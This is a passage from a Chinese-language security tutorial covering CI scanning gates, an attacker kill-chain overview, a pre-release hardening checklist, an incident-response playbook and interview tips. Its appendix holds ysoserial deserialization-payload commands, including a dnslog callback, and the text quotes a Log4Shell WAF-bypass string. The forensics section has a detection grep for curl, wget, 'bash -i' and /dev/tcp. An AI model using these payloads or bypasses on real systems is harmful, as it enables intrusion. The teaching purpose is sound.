cat "$OUT/04-nuclei.txt" 2>/dev/null | sed 's/^/ /'
else
echo " (nuclei 未安装,跳过)"
fi
# ---------- 第 5 部分:TLS 配置 ----------
echo ""
echo "【5/6】检查 TLS 配置..."
HOSTPORT=$(echo "$TARGET" | sed -E 's|https?://||' | cut -d/ -f1)
HOST="${HOSTPORT%%:*}"
PORT="${HOSTPORT##*:}"
[ "$PORT" = "$HOST" ] && PORT=443
{
if command -v openssl >/dev/null 2>&1 && [ "$PORT" = "443" ]; then
echo "=== 证书信息 ==="
echo | openssl s_client -connect "$HOST:$PORT" -servername "$HOST" 2>/dev/null \
| openssl x509 -noout -dates -subject 2>/dev/null | sed 's/^/ /'
echo ""
echo "=== 支持的协议(应只有 TLSv1.2 / TLSv1.3)==="
for v in ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3; do
echo | openssl s_client -connect "$HOST:$PORT" -$v >/dev/null 2>&1 \
&& echo " ⚠️ 支持 $v"
done
echo " (只应看到 tls1_2 和 tls1_3)"
else
echo " (目标非 HTTPS 或 openssl 不可用,跳过)"
fi
} | tee "$OUT/05-tls.txt"
# ---------- 第 6 部分:端口扫描 ----------
echo ""
echo "【6/6】常见危险端口..."
{
for p in 2375 2379 3306 6379 8080 8848 9092 9200 10250 11211 15672 27017; do
timeout 1 bash -c "echo > /dev/tcp/$HOST/$p" 2>/dev/null \
&& echo " ⚠️ 端口 $p 开放"
done
echo " (2375=Docker API ★最危险, 2379=etcd, 6379=Redis, 10250=kubelet)"
} | tee "$OUT/06-ports.txt"
# ---------- 汇总 ----------
echo ""
echo "=========================================="
echo " 体检完成!报告保存在:$OUT/"
echo "=========================================="
ls -la "$OUT/" | tail -n +4
9.7 第九章总结
9.7.1 工具速查表
| 工具 | 命令示例 | 跑在哪 | 卡点强度 |
|---|---|---|---|
| gitleaks | gitleaks detect --source . --log-opts="--all" |
pre-commit + CI | ★ 必须卡 |
| Semgrep | semgrep --config=p/security-audit --error . |
CI | ★ 建议卡(先只卡 ERROR) |
| trivy (fs) | trivy fs --severity CRITICAL,HIGH --exit-code 1 . |
CI | ★ 必须卡(先清存量) |
| trivy (image) | trivy image --exit-code 1 myapp:latest |
CI(构建后) | ★ 必须卡 |
| Nuclei | nuclei -u https://test.example.com -severity critical,high |
CI(测试环境) | 先报告后卡 |
| ffuf | ffuf -u http://t/FUZZ -w java-endpoints.txt -fc 404 |
手工 / 定期 | 报告即可 |
| cosign | cosign verify --key cosign.pub myapp:latest |
部署前 | ★ 建议卡 |
| syft | syft myapp:latest -o cyclonedx-json > sbom.json |
CI(存档) | 不卡,但必须做 |
9.7.2 必背 5 句话
- 安全越早成本越低:编码时发现 1x,上线后发现 30x,出事后 100x+
- 落地路线要“温水煮青蛙”:先只报告不卡点 → 清存量 → 再开卡点 → 只卡新增
- Git 历史是永久的,密钥泄露后第一件事是吊销密钥,不是删代码
- Nuclei 别扫生产(会写数据),生产只做被动检查(响应头、端点暴露)
- SBOM 是应急救命的东西——Log4Shell 那天,有 SBOM 的公司 10 分钟定位完,没有的通宵三天
9.7.3 面试怎么讲(1 分钟版本)
“自动化这块我们搭了一条五道卡点的流水线,分了九周逐步落地。
五道卡点是: ① gitleaks 扫密钥泄露(pre-commit + CI 双层,发现直接失败); ② Semgrep 扫代码危险写法(社区规则 + 我们自己写的规则,比如禁止 MyBatis 的
${}、禁止日志打印密码); ③ trivy 扫依赖漏洞,同时生成 SBOM 存档; ④ trivy 扫镜像漏洞; ⑤ Nuclei 对测试环境做动态扫描(生产不做主动扫描,只做被动检查)。落地过程有个教训:我们一开始没一次性全开卡点。 第一周只上 gitleaks(零误报,团队接受度最高), 然后 trivy 先设
allow_failure: true跑两周看存量, 整改完再改成 false。 如果一上来就全卡死,跑出三百个漏洞,团队一定会要求关掉,然后就再也没有然后了。最有价值的是 SBOM:每次构建都生成,存一年。 下次再出 Log4Shell 这种 0day,一条
jq命令就能列出所有受影响的服务—— 这个价值在应急的时候是决定性的。“
第十章:全文总结、上线 Checklist 与面试总纲
这一章是“把前面的东西变成你的能力”。
前面九章是“做过一遍”,这一章把它们压缩成你能随时调用的东西: 一张全景图、一份可打印的 Checklist、一套应急流程、一套面试话术。
10.1 全文档知识体系全景
┌────────────────────────────────────────────────────────────────────┐
│ 安全攻防知识体系(12 号文档) │
├────────────────────────────────────────────────────────────────────┤
│ │
│ 【第一层:Web 层漏洞】(第 2~4 章)—— 你的代码直接产生的 │
│ ├─ SQL 注入 → 预编译 + 白名单 + 最小权限 │
│ ├─ XSS → 输出编码 + CSP + HttpOnly │
│ ├─ CSRF → Token + SameSite + 二次校验 │
│ ├─ 文件上传 → 白名单 + 魔数 + 二次渲染 + 对象存储 │
│ └─ 文件包含 → 禁用动态包含 + 路径规范化校验 │
│ │
│ 【第二层:服务端请求漏洞】(第 5 章)—— 服务器被当枪使 │
│ └─ SSRF → 协议白名单 + IP 黑名单 + 禁重定向 + 校验实际IP│
│ │
│ 【第三层:组件与反序列化】(第 6 章)—— 依赖库里的雷 │
│ ├─ XXE → 禁 DOCTYPE + 禁外部实体 │
│ ├─ Java 反序列化 → JEP 290 白名单 + 升级依赖 + 换 JSON │
│ ├─ Shiro-550 → 换随机密钥 + 升级 Shiro │
│ ├─ Log4Shell → 升到 2.17.1+ │
│ ├─ Fastjson → safeMode + 升到 1.2.83+ │
│ └─ SpEL 注入 → SimpleEvaluationContext │
│ │
│ 【第四层:中间件与配置】(第 7 章)—— 运维的坑 │
│ ├─ Redis → 密码 + 禁 CONFIG/MODULE + 非 root │
│ ├─ MySQL → secure_file_priv + 收回 FILE 权限 │
│ ├─ Nacos → 开鉴权 + 配置加密 + 实例角色 │
│ ├─ Jenkins → 开认证 + 保护 /script + 日志脱敏 │
│ └─ Actuator/Druid → 只暴露 health/info + 改端口 + 加认证 │
│ │
│ 【第五层:容器与云原生】(第 8 章)—— 新时代的战场 │
│ ├─ 容器逃逸 → 禁 privileged + 禁 docker.sock + PSA │
│ ├─ SA Token 利用 → automountServiceAccountToken: false │
│ ├─ RBAC 提权 → 最小权限 + 禁 escalate/bind │
│ ├─ etcd/kubelet → TLS 证书 + 关匿名认证 │
│ └─ 镜像供应链 → cosign 签名 + trivy 扫描 + distroless │
│ │
│ 【第六层:流程与自动化】(第 9 章)—— 让问题不再发生 │
│ └─ 五道 CI 卡点:gitleaks → Semgrep → trivy(fs) → trivy(image) │
│ → Nuclei(测试环境) │
│ │
└────────────────────────────────────────────────────────────────────┘
10.1.1 一条完整的攻击链(把所有章节串起来)
理解这条链,你就理解了攻击者是怎么思考的:
① 【侦察】扫端口、找子域名、看技术栈 ← 第 9 章 ffuf / Nuclei
↓
② 【找入口】SQL 注入 / Log4Shell / 未授权 Redis ← 第 2 / 6 / 7 章
↓
③ 【拿 Shell】写 webshell / 反弹 shell / 写 crontab ← 第 2 / 6 / 7 章
↓
④ 【信息收集】配置文件、环境变量、.bash_history、SA Token ← 第 7 / 8 章
↓
⑤ 【提权】UDF / 内核漏洞 / sudo 配置不当 ← 第 7 / 8 章
↓
⑥ 【横向移动】SSH 私钥复用、打内网其他机器 ← 第 7.7 节
↓
⑦ 【上云】偷 SA Token → 读 Secret → 拿 AK/SK ← 第 8.3 节
↓
⑧ 【持久化】后门 Pod / CronJob / 后门 SA ← 第 8.3.4 节
↓
⑨ 【变现】挖矿 / 勒索 / 卖数据
防御方在每一步都能设卡(★ 这就是“纵深防御”的含义):
| 阶段 | 设卡点 |
|---|---|
| ① 侦察 | 隐藏版本号(Server 头)、关目录浏览、限制错误详情 |
| ② 找入口 | 依赖扫描、WAF、输入校验、关闭未授权服务 |
| ③ 拿 Shell | 非 root 运行、只读文件系统、无 shell 的 distroless 镜像 |
| ④ 信息收集 | 配置加密、不挂载 SA Token、清理历史命令 |
| ⑤ 提权 | 打内核补丁、gVisor/Kata、禁用 capabilities |
| ⑥ 横向移动 | NetworkPolicy、每台机器不同密钥、SSH 禁密码 |
| ⑦ 上云 | RBAC 最小化、用实例角色代替 AK、NetworkPolicy 限制访问 API |
| ⑧ 持久化 | PSA 禁特权 Pod、审计日志告警、Falco 运行时检测 |
| ⑨ 变现 | 监控异常(CPU 飙高、异常出网流量)、账单告警 |
10.2 上线前安全 Checklist(★ 可打印,每次发版过一遍)
10.2.1 代码层(开发自查)
□ 【注入类】
□ SQL 全部用预编译(#{} 或 PreparedStatement),无字符串拼接
□ MyBatis 里没有 ${}(除排序字段,且排序字段走白名单)
□ 没有 Runtime.exec / ProcessBuilder 拼接用户输入
□ 没有 SpEL 的 StandardEvaluationContext 处理用户输入
□ 没有反序列化不可信数据(或已加白名单过滤器)
□ 模板引擎(Thymeleaf/Freemarker)没有拼接用户输入当模板
□ 【XSS / CSRF】
□ 所有用户输入输出到页面时做了 HTML 转义
□ 配置了 CSP(至少 default-src 'self')
□ 敏感 Cookie 设置了 HttpOnly + Secure + SameSite
□ 状态变更的接口(POST/PUT/DELETE)有 CSRF Token 或 SameSite=Lax
□ 富文本内容用了白名单过滤(jsoup)
□ 【文件上传】
□ 扩展名白名单(不是黑名单)
□ 校验文件魔数(不只信 Content-Type)
□ 随机重命名(不用原始文件名)
□ 存储在非 Web 根目录 / 对象存储
□ 限制文件大小和数量
□ 图片做了二次渲染(彻底清除图片马)
□ 【认证授权】
□ 密码用 BCrypt/Argon2 存储(不是 MD5/SHA)
□ 登录失败有锁定或限流(防暴力破解)
□ 每个接口都有权限校验(不只是菜单隐藏)
□ 越权校验:不只判断"登录了",还判断"是不是本人/本租户"
□ JWT 密钥足够复杂且未硬编码;校验了签名和过期时间
□ 敏感操作(改密码、改手机号、支付)有二次验证
□ 【敏感信息】
□ 生产配置里无明文密码(用 KMS/Vault 或环境变量)
□ 日志里不打印密码、Token、身份证、银行卡
□ API 响应里不包含内部字段(如 password、salt、内部 ID)
□ 生产环境关闭了 Swagger / H2 Console / Druid
□ 错误页面不返回堆栈信息
10.2.2 依赖与镜像(构建时)
□ 【依赖】
□ mvn dependency:tree 检查无高危组件(log4j < 2.17.1 / fastjson < 1.2.83 等)
□ commons-collections >= 3.2.2(如果用 JDK 原生序列化)
□ Shiro 已配置随机密钥,不是默认密钥
□ 生成了 SBOM 并存档
□ trivy fs --severity HIGH,CRITICAL --exit-code 1 通过
□ 【镜像】
□ 基础镜像是官方镜像且版本较新
□ 用了多阶段构建(构建依赖不进运行时镜像)
□ 非 root 用户运行
□ trivy image --severity HIGH,CRITICAL --exit-code 1 通过
□ (进阶)镜像有 cosign 签名
□ (进阶)用了 distroless / alpine 等精简镜像
10.2.3 基础设施(运维)
□ 【网络】
□ 所有服务只监听内网 IP,不绑 0.0.0.0
□ Redis / MySQL / Nacos / Jenkins 等不在公网可达
□ 安全组/防火墙只开放必要端口
□ Redis 改了默认端口(可选,但有效)
□ 【中间件】
□ Redis 有密码 + 禁用 CONFIG/MODULE/SLAVEOF + 非 root 运行
□ MySQL secure_file_priv 非空 + 无 FILE 权限 + 非 root 运行
□ Nacos 开启鉴权 + 关闭 UA 白名单 + 改了默认口令
□ Kafka/RabbitMQ 开启认证 + 改了默认口令
□ Elasticsearch / MongoDB 开启认证
□ 【K8s】
□ Pod 设置 automountServiceAccountToken: false(不需要的)
□ RBAC 用 Role 不用 ClusterRole(能用 Role 就用 Role)
□ 无 cluster-admin 的多余绑定
□ 命名空间设置了 PSA(restricted)
□ 配置了 NetworkPolicy(至少默认拒绝)
□ 无 Pod 挂载 docker.sock
□ 无 privileged 容器
□ etcd 开启 TLS 客户端证书认证
□ kubelet 关闭匿名认证(--anonymous-auth=false)
□ 关闭 apiserver 的 insecure port(8080)
□ Secret 用了 External Secrets / Vault(至少开启了 etcd 静态加密)
10.2.4 流程(团队)
□ pre-commit 装了 gitleaks 钩子
□ CI 里有依赖扫描 + 代码扫描 + 镜像扫描
□ 高危漏洞 allow_failure = false(构建失败)
□ 每次构建生成 SBOM 并存档
□ 有密钥轮换机制(至少半年一次)
□ 有安全应急响应预案(谁能吊销密钥?谁能下机器?)
□ 团队做过至少一次安全培训/演练
10.3 应急响应手册:发现被入侵了怎么办
这一节的场景:某天你发现服务器 CPU 100%、或者云账单暴涨、 或者收到安全团队的告警。
前 30 分钟做的事,决定了损失的大小。
10.3.1 黄金 30 分钟
┌──────────────────────────────────────────────────────────┐
│ 第 0~5 分钟:【止损】 │
├──────────────────────────────────────────────────────────┤
│ ① 【隔离】把被入侵的机器从网络摘掉 │
│ - K8s:kubectl cordon + 修改 NetworkPolicy 拒绝全部 │
│ - 云上:修改安全组,只留跳板机 IP │
│ ⚠️ 不要直接关机!(会丢失内存里的证据) │
│ │
│ ② 【吊销密钥】(★ 最重要,优先于一切) │
│ - 云厂商 AK/SK:立即禁用(不是删除,保留证据) │
│ - 数据库密码:改(但先确认业务能跟着改) │
│ - JWT 密钥:换(会让所有人掉线,评估后做) │
│ - SSH 私钥:从 authorized_keys 里删掉 │
│ - K8s SA Token:删 Pod 让它失效 │
│ │
│ ③ 【通知】拉起应急响应群(安全 + 运维 + 业务负责人) │
└──────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────┐
│ 第 5~20 分钟:【取证】 │
├──────────────────────────────────────────────────────────┤
│ ① 保存现场(★ 别急着清理) │
│ - 进程列表:ps auxf > /tmp/ps.txt │
│ - 网络连接:netstat -antp > /tmp/netstat.txt │
│ - 定时任务:crontab -l; cat /etc/crontab │
│ - 登录记录:last; lastb; cat /var/log/secure │
│ - 命令历史:cat ~/.bash_history │
│ - K8s:kubectl get all -A -o yaml > /tmp/k8s-all.yaml │
│ │
│ ② 找攻击入口 │
│ - 看 Web 访问日志,找异常请求(SQL 注入特征、../ 等) │
│ - 看应用日志,找异常堆栈 │
│ - 看有没有新增的文件(find / -mmin -60 -type f) │
│ │
│ ③ 判断影响范围 │
│ - 有没有数据被拖走?(看出网流量、数据库审计日志) │
│ - 有没有横向移动?(看 SSH 登录记录、内网连接) │
│ - 有没有被持久化?(crontab、systemd、后门 Pod) │
└──────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────┐
│ 第 20~30 分钟:【决策】 │
├──────────────────────────────────────────────────────────┤
│ ① 要不要下线服务?(如果无法快速止血,宁可下线) │
│ ② 要不要通知用户/监管?(数据泄露有法定通知义务) │
│ ③ 要不要报警?(保留证据,配合调查) │
└──────────────────────────────────────────────────────────┘
10.3.2 Linux 排查速查命令
# ===== 找恶意进程 =====
ps auxf | grep -vE "\[" | head -30
top -c # 看 CPU 占用(挖矿木马特征明显)
ls -la /proc/*/exe 2>/dev/null | grep deleted # ★ 进程的可执行文件已被删除(木马特征)
# ===== 找网络连接 =====
netstat -antp | grep ESTABLISHED
ss -antp | grep -v "127.0.0.1" # 看外部连接
lsof -i -P -n | grep LISTEN # 看监听端口
# ===== 找持久化后门 =====
crontab -l -u root
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/crontabs/
systemctl list-unit-files --type=service | grep enabled # 看异常服务
ls -la /etc/systemd/system/ | grep -v "default\|multi-user\|basic\|sysinit\|sockets\|timers"
cat ~/.bashrc ~/.bash_profile /etc/profile | grep -iE "curl|wget|bash -i|/dev/tcp"
cat ~/.ssh/authorized_keys # ★ 有没有被加了陌生的公钥
# ===== 找最近被修改的文件 =====
find / -mmin -60 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -30
find / -name "*.sh" -mmin -1440 2>/dev/null | head -20 # 24 小时内新增的脚本
# ===== 看登录记录 =====
last -20 # 成功登录
lastb -20 # 失败登录(暴力破解痕迹)
cat /var/log/secure | grep -i "accepted\|failed" | tail -50
w # 当前谁在线
# ===== 找挖矿木马 =====
ps aux | grep -iE "miner|xmrig|eth|monero|kworker" | grep -v grep
ls /tmp /var/tmp /dev/shm -la # ★ 木马常藏在这三个目录
cat /etc/ld.so.preload 2>/dev/null # ★ 被篡改会导致命令被 hook(ps 看不到木马进程)
# ===== K8s 排查 =====
kubectl get pods -A | grep -vE "Running|Completed" # 异常 Pod
kubectl get pods -A -o json | jq -r '.items[] | select(.spec.containers[].securityContext.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name'
kubectl get cronjobs -A # 异常定时任务
kubectl get pods -n kube-system # ★ 后门最爱藏这儿
10.3.3 恢复与复盘
【恢复】
① 从干净备份恢复(★ 不要"清理木马",你永远清不干净)
- 正确做法:重建机器,重新部署
- 用 IaC(Terraform / Helm)重建,别手工配
② 全量轮换密钥(所有,不是只换泄露的那个)
③ 补上被利用的漏洞,跑一遍复测脚本
④ 观察 7 天(看有没有再次入侵)
【复盘(★ 最重要)】
① 时间线:什么时候进来的?怎么进来的?做了什么?
② 根因分析(5 Why):
表面原因:Redis 没设密码
Why 1:为什么没设?→ 部署脚本没配
Why 2:为什么部署脚本没配?→ 没有安全基线检查
Why 3:为什么没有基线检查?→ 没人负责
Why 4:为什么没人负责?→ 安全职责不清晰
→ 真正的改进:在 CI/部署流水线加安全基线卡点
③ 改进项(必须可验证、有 owner、有 deadline)
❌ 错误:"加强安全意识"
✅ 正确:"在 CD 流水线加 Redis 配置检查,高危则阻断,@张三,9月30日前"
10.4 面试总纲:把这份文档变成面试优势
10.4.1 三个层次,看你到哪一层
| 层次 | 表现 | 面试官的感受 |
|---|---|---|
| L1 背答案 | “SQL 注入要用预编译” | “背过八股文” |
| L2 懂原理 | “预编译的原理是 SQL 先编译成执行计划,参数后传入,所以参数不会被当成 SQL 解析” | “理解得还行” |
| L3 有实战 | “我在 Vulhub 上用 sqlmap 拖过库。有意思的是 sqlmap 的盲注用二分法,一个字符要 7 次请求,一个 32 位的 MD5 要 224 次——所以关闭错误回显能让攻击成本提升两个数量级,这是我做完才真正理解的” | ★ “这人真的做过” |
从 L2 到 L3 的关键:有数字、有细节、有自己的发现。
10.4.2 万能的“实战故事四段式”
任何安全问题,都按这四段讲:
① 【我做过什么】(10 秒)
"我在本地用 Vulhub 复现过 Shiro-550"
② 【原理是什么】(30 秒)
"Shiro 的 rememberMe 把用户对象序列化后 AES 加密存 Cookie,
但 1.2.4 的密钥是硬编码的,攻击者用公开密钥加密恶意数据发过去,
服务器解密后反序列化,直接 RCE"
③ 【我的发现/踩过的坑】(20 秒)★ 这一段决定你在 L2 还是 L3
"复现时我发现官方镜像以非 root 运行,crontab 方式写不进去,
这让我意识到危害 = 能写文件 × root 运行 × 公网可达"
④ 【我们怎么修的 + 效果】(20 秒)
"我们换了随机密钥、升级 Shiro、禁用了 commons-collections。
另外我把 CI 里加了依赖扫描,之后每次构建都会生成 SBOM"
10.4.3 高频问题的“标准答案 + 加分点”
| 面试题 | 标准答案(必须会) | 加分点(让你脱颖而出) |
|---|---|---|
| “SQL 注入怎么防?” | 预编译 + 输入校验 + 最小权限 | “我用 sqlmap 对比过:有错误回显时几秒拖完库,关掉后要 224 次请求/字段,关闭错误回显性价比极高” |
| “XSS 怎么防?” | 输出编码 + CSP + HttpOnly | “HttpOnly 只减轻后果不是修复——攻击者还能用 Cookie 发请求做 CSRF。而且存储型 XSS 配合文件包含能直接 RCE” |
| “CSRF Token 放 Cookie 里安全吗?” | 安全(攻击者能带上但读不到) | “前提是配合 SameSite 和同源校验。而且 Token 要和 Session 绑定,不能做成全局固定值” |
| “Redis 未授权有什么危害?” | 写 crontab → GetShell | “只禁 CONFIG 不够,攻击者会用主从复制 RCE。而且非 root 运行能大幅降低危害” |
| “怎么保证上线不出安全问题?” | 代码评审 + 安全测试 | “五道 CI 卡点 + 每九周逐步落地(一次性全开会失败)+ SBOM 存档” |
| “Log4j 那个漏洞了解吗?” | 升到 2.17.1 | “WAF 防不住,因为 ${${lower:j}ndi:} 这种变形,WAF 看字面量、Log4j 看求值结果” |
| “K8s 安全怎么做的?” | RBAC + NetworkPolicy | “SA Token 默认挂载是最大的坑,一行 automountServiceAccountToken: false 能防住 90% 的利用。而且 NetworkPolicy 是最后一道物理屏障——Token 和权限都丢了,网络不通也调不了 API” |
| “发现服务器被入侵了怎么办?” | 断网 + 排查 + 修复 | “第一件事是吊销密钥不是删代码(Git 历史是永久的)+ 别急着关机(丢内存证据)+ 从干净备份重建,不要’清理木马’” |
10.4.4 主动引导面试的技巧
面试官问“你了解安全吗”,不要等他追问,主动铺开三个层次:
“安全这块我从三个层面理解:
代码层,我知道常见的 Web 漏洞怎么防(SQL 注入、XSS、CSRF、文件上传), 也在靶场上复现过;
组件层,我关注过 Java 生态的几个大 CVE——Shiro-550、Log4Shell、Fastjson, 它们本质上都是把不可信数据当成指令执行, 我复现过前两个,也知道修复的关键是升级依赖 + 白名单而不是黑名单;
架构层,我更关心流程上怎么防止问题重现—— 比如我们在 CI 里做依赖扫描卡点、每次构建生成 SBOM、 密钥不进代码仓库。
您想聊哪个层面?“
这样说的好处:① 展示体系化;② 把问题抛回给面试官,让他挑你熟悉的方向。
10.4.5 简历上怎么写
❌ 不推荐:
熟悉 Web 安全,了解常见漏洞
❌ 不推荐:
精通网络安全(面试官会追到细节,答不出来反而扣分)
✅ 推荐(有具体动作 + 有产出):
参与公司安全治理:在 CI/CD 流水线落地五道安全检查卡点
(密钥扫描/代码扫描/依赖扫描/镜像扫描/动态扫描),
推动生成 SBOM 用于应急溯源;
主导整改 Log4Shell 等组件漏洞,48 小时内完成全服务升级;
完成 Redis/Nacos/Actuator 等中间件未授权的排查与加固。
10.5 下一步学什么
如果你做完了本文档的实验还想深入,按这个路线走:
10.5.1 技术方向
| 方向 | 推荐资源 | 说明 |
|---|---|---|
| Web 安全体系 | PortSwigger Web Security Academy(免费,最好的教程) | 有在线靶场,每个漏洞都有互动练习 |
| 实战靶场 | HackTheBox / TryHackMe | 完整的渗透测试环境,从易到难 |
| CTF | CTFtime、BUUCTF(国内) | 打 CTF 是提升最快的方式 |
| 内网渗透 | 《内网安全攻防:渗透测试实战指南》 | 横向移动、域渗透 |
| 云原生安全 | Kubernetes Security(Liz Rice 的书)、kube-bench、Falco | CIS Benchmark、运行时检测 |
| 代码审计 | FindSecBugs、CodeQL 官方文档 | 从“会用工具”到“能审代码” |
| 安全开发 | OWASP ASVS(应用安全验证标准) | ★ 做安全设计的 checklist |
10.5.2 认证(如果公司有要求或想转岗)
| 认证 | 定位 | 难度 |
|---|---|---|
| OSCP | 渗透测试实操(24 小时实战考试) | ★★★★ 业界认可度最高 |
| CISSP | 安全管理(偏理论、偏管理) | ★★★ 需要 5 年经验 |
| CISP / CISP-PTE | 国内认可(等保相关) | ★★ |
| CKS | Certified Kubernetes Security Specialist(★ 对云原生方向最对口) | ★★★ |
10.5.3 保持更新的渠道
【漏洞情报】
- 国家信息安全漏洞库(CNNVD):www.cnnvd.org.cn
- 国家漏洞库(CNVD):www.cnvd.org.cn
- NVD(美国):nvd.nist.gov
- 安全客 / FreeBuf / 先知社区(国内)
- GitHub Advisory Database
【必看的时间线】
- 每周:看一次新披露的高危 CVE(CNVD/CNNVD 的周报)
- 每月:看一次 OWASP Top 10 的更新动态
- 每季度:跑一次全量依赖扫描,整改存量
- 每半年:做一次安全演练(模拟入侵 + 应急响应)
10.6 写在最后:安全的三个认知
做了这 12 个章节的实验之后,我最想留下的三句话:
认知一:安全不是“加个功能”,是“减少信任”
所有漏洞的本质都是**“过度信任”**:
- SQL 注入 = 过度信任用户输入
- Shiro-550 = 过度信任客户端传来的 Cookie
- Log4Shell = 过度信任日志内容
- 未授权 Redis = 过度信任网络边界
- SA Token 利用 = 过度信任 Pod 的身份
所以安全设计的第一性原理是:明确每一处“我凭什么相信它”。 想清楚了这个问题,80% 的漏洞自然就没了。
认知二:纵深防御 > 单点完美
不要追求“某个防御是完美的”——没有任何单点防御是完美的:
- 预编译能防 SQL 注入,但挡不住逻辑漏洞
- WAF 能挡脚本小子,挡不住变形 payload
- 白名单很安全,但会漏掉新的攻击手法
真正有效的是“层层设卡”: 攻击者要连续突破 5 层才能得手,他的成本和暴露风险就大幅上升。 这就是为什么我在每个章节都给出“多道防线”而不是“唯一正确答案”。
认知三:安全是过程,不是状态
Fastjson 修了 20 多个版本还在被绕过, Log4Shell 之后 Log4j 又出了 CVE-2021-45046、45105、44832, K8s 每年都有新的 CVE。
所以:
- 不要问“我们的系统安全了吗”,要问“我们的响应能力够快吗“
- 不要追求“零漏洞”(不可能),要追求“出事时能在 30 分钟内止血“
- 不要一次性做完(会失败),要每周改进一点点,持续跑
这也是第 9 章“九周落地路线图”想传达的: 能持续跑下去的流程,比一份完美的方案有价值得多。
附录 A:本文档所有复测脚本索引
| 脚本 | 检查什么 | 在哪节 |
|---|---|---|
check_env.sh |
实验环境是否齐全 | 0.2.2 |
verify_sqli.sh |
SQL 注入修复(9 项) | 2.x |
verify_upload.sh |
文件上传修复 | 4.x |
verify_ssrf.sh |
SSRF 修复(15 项) | 5.6 |
verify_xxe.sh |
XXE 修复(6 项) | 6.1.7 |
verify_deser.sh |
反序列化防护(4 项) | 6.3.3 |
verify_shiro.sh |
Shiro-550 修复(4 项) | 6.4.7 |
verify_log4shell.sh |
Log4Shell 修复(8 种变形) | 6.5.7 |
verify_fastjson.sh |
Fastjson autotype(7 项) | 6.6.6 |
verify_gateway_spel.sh |
Gateway Actuator 暴露(5 项) | 6.7.6 |
scan_log4j.sh |
扫本机所有 jar 的 Log4j | 6.5.6 |
verify_redis.sh |
Redis 加固(12 项) | 7.1.9 |
verify_mysql.sh |
MySQL 加固(10 项) | 7.2.6 |
verify_nacos.sh |
Nacos 加固(8 项) | 7.3.7 |
verify_jenkins.sh |
Jenkins 加固(9 项) | 7.4.7 |
verify_actuator.sh |
Java 应用暴露面 | 7.5.6 |
verify_container_escape.sh |
容器逃逸风险(在容器里跑) | 8.1.4 |
verify_k8s.sh |
K8s 集群加固(10 项) | 8.3.8 |
verify_kubelet.sh |
kubelet/etcd 未授权 | 8.4.2 |
verify_supply_chain.sh |
镜像供应链(7 项) | 8.5.7 |
security_healthcheck.sh |
一键全面体检(6 部分) | 9.6 |
附录 B:常用命令速查
# ===== 探测 =====
curl -I http://target # 看响应头(技术栈、安全头)
curl -s http://target -o /dev/null -w '%{http_code}\n' # 只要状态码
whatweb http://target # 识别技术栈
nmap -sV -p 1-65535 target # 全端口 + 版本探测
# ===== Redis =====
redis-cli -h IP -p 6379 ping # 探测未授权
redis-cli -h IP -p 6379 info server # 看版本
# ===== MySQL =====
mysql -h IP -u root -e "SHOW VARIABLES LIKE 'secure_file_priv';"
mysql -h IP -u root -e "SELECT user,host,file_priv FROM mysql.user;"
# ===== 反序列化 =====
java -jar ysoserial.jar CommonsCollections6 "命令" > payload.ser
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" > urldns.ser # 无害探测
xxd payload.ser | head -2 # 应看到 aced 0005
# ===== 扫描 =====
trivy fs --severity CRITICAL,HIGH . # 扫依赖
trivy image --severity CRITICAL,HIGH myapp:latest # 扫镜像
nuclei -u http://target -severity critical,high # 漏洞扫描
ffuf -u http://target/FUZZ -w wordlist.txt -fc 404 # 目录爆破
gitleaks detect --source . --log-opts="--all" # 密钥泄露
# ===== K8s =====
kubectl get pods -A -o json | jq '.items[] | select(.spec.automountServiceAccountToken != false) | .metadata.name'
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name'
kubectl auth can-i --list --as=system:serviceaccount:vuln:vuln-sa # 权限自测
# ===== 取证 =====
netstat -antp | grep ESTAB
crontab -l -u root; cat /etc/crontab
cat ~/.ssh/authorized_keys
last -20; lastb -20
find / -mmin -60 -type f -not -path "/proc/*" 2>/dev/null | head -30
附录 C:名词总索引(按字母)
| 名词 | 一句话 | 首次出现 |
|---|---|---|
| 4C 模型 | Cloud/Cluster/Container/Code 四层安全模型 | 8.0 |
| AOF/RDB | Redis 的两种持久化方式 | 7.1.1 |
| autotype | Fastjson 用 @type 指定要还原的类 |
6.6.1 |
| CAP_SYS_ADMIN | Linux 的一个 capability,拥有它基本等于 root | 8.1.1 |
| CC 链 | CommonsCollections 利用链 | 6.2.4 |
| CVE | 公共漏洞编号(Common Vulnerabilities and Exposures) | 0.4 |
| Distroless | 没有 shell 的极致精简镜像 | 8.5.6 |
| DNS Rebinding | DNS 重绑定,绕过 IP 黑名单 | 5.4 |
| Docker Socket | /var/run/docker.sock,等价于宿主机 root |
8.1.2 |
| DoS/DDoS | 拒绝服务攻击 | 6.1.3 |
| etcd | K8s 的数据库,存所有状态(含 Secret) | 8.4.1 |
| EXP | Exploit,完整的攻击利用代码 | 0.4 |
| Gadget Chain | 用已有合法类拼出的利用链 | 6.2.3 |
| gopher | 能构造任意 TCP 报文的协议(打 Redis 用) | 5.2 |
| IMDS | 云元数据服务,169.254.169.254 |
5.3 |
| JNDI | Java 的“按名字查资源”接口,可被利用 | 6.5.2 |
| kubelet | 每个 Node 上的 agent,10250 端口 | 8.4.2 |
| LDAP/RMI | JNDI 的两种后端协议 | 6.5.2 |
| OOB(带外) | 用另一种渠道(如 DNS)把数据带出来 | 6.1.2 |
| PoC | Proof of Concept,证明漏洞存在的代码 | 0.4 |
| PSA | Pod Security Admission,阻止高危 Pod | 8.1.1 |
| RBAC | 基于角色的权限控制 | 8.3.7 |
| RCE | 远程代码执行 | 6.0 |
| RESP | Redis 的通信协议(纯文本) | 7.1.1 |
| 反弹 Shell | 让目标主动连攻击者(绕过防火墙) | 6.3.1 |
| SA Token | Pod 的 K8s 身份证,默认挂载 | 8.3.1 |
| SBOM | 软件物料清单(配料表) | 6.8.2 |
| SCA | 软件成分分析(扫依赖漏洞) | 6.8.2 |
| SpEL | Spring 表达式语言 | 6.7.4 |
| SSRF | 服务端请求伪造 | 5.0 |
